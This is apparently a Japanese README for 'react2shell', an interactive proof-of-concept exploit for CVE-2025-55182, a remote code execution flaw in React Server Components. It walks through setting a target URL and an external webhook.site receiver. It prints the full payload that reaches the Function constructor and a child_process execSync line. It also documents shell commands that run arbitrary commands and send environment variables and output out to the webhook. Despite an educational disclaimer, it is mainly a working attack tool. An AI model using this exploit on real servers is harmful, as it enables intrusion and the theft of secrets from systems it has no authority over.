
CVE-2025-55182 インタラクティブ PoC - React Server Components RCE - 教育的セキュリティ研究
React Server Components のリモートコード実行脆弱性 CVE-2025-55182 を悪用するための対話型シェルです。
このツールは教育目的および許可されたセキュリティテストのためにのみ提供されています。
CVE-2025-55182 は以下のバージョンの React Server Components (RSC) に影響します:
この脆弱性により、Server Actions に送信された悪意のあるペイロードを通じてリモートコード実行 (RCE) が可能になります。
$@x 構文を使用して内部の Chunk オブジェクトを参照します.then() メソッドを持つオブジェクトを自動的にアンラップします (Promise ライク)_response、_formData、_prefix プロパティを持つ悪意のあるペイロードを作成することでFunction コンストラクタに到達できます$3:constructor:constructor → Function コンストラクタ → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
exploit.js を編集し、次の値を更新してください:
const TARGET_URL = 'http://localhost:3000/' // 脆弱な Next.js サーバー
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // あなたの Webhook URL
無料の Webhook は https://webhook.site で取得できます。
node exploit.js
react2shell> !test
[+] 送信しました!Webhook を確認してください
react2shell> whoami
[+] 送信しました: whoami
react2shell> ls -la
[+] 送信しました: ls -la
react2shell> !env
[+] 送信しました!環境変数については Webhook を確認してください
結果はターミナルではなく、Webhook に表示されます。
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action ヘッダー付きのマルチパートフォームデータとして送信されます$@3 が Chunk 参照を作成します$3:constructor:constructor が Function にたどり着きます_prefix の内容が Function() に渡され実行されますrequire() は利用できませんimport() を使用してください:
import("child_process").then(cp => cp.execSync("whoami"))
脆弱性を修正するには、以下のバージョンにアップデートしてください:
MIT ライセンス - 教育目的のみ。
セキュリティ研究 PoC - 責任を持って使用してください。
| コマンド | 説明 |
|---|
!test | エクスプロイトが動作するかテストします(確認を Webhook に送信) |
!env | 環境変数を流出させます (process.env) |
!js <code> | カスタム JavaScript を実行します |
!help | ヘルプを表示します |
!exit | 終了します |
<command> | シェルコマンドを実行します(例:whoami、ls、cat /etc/passwd) |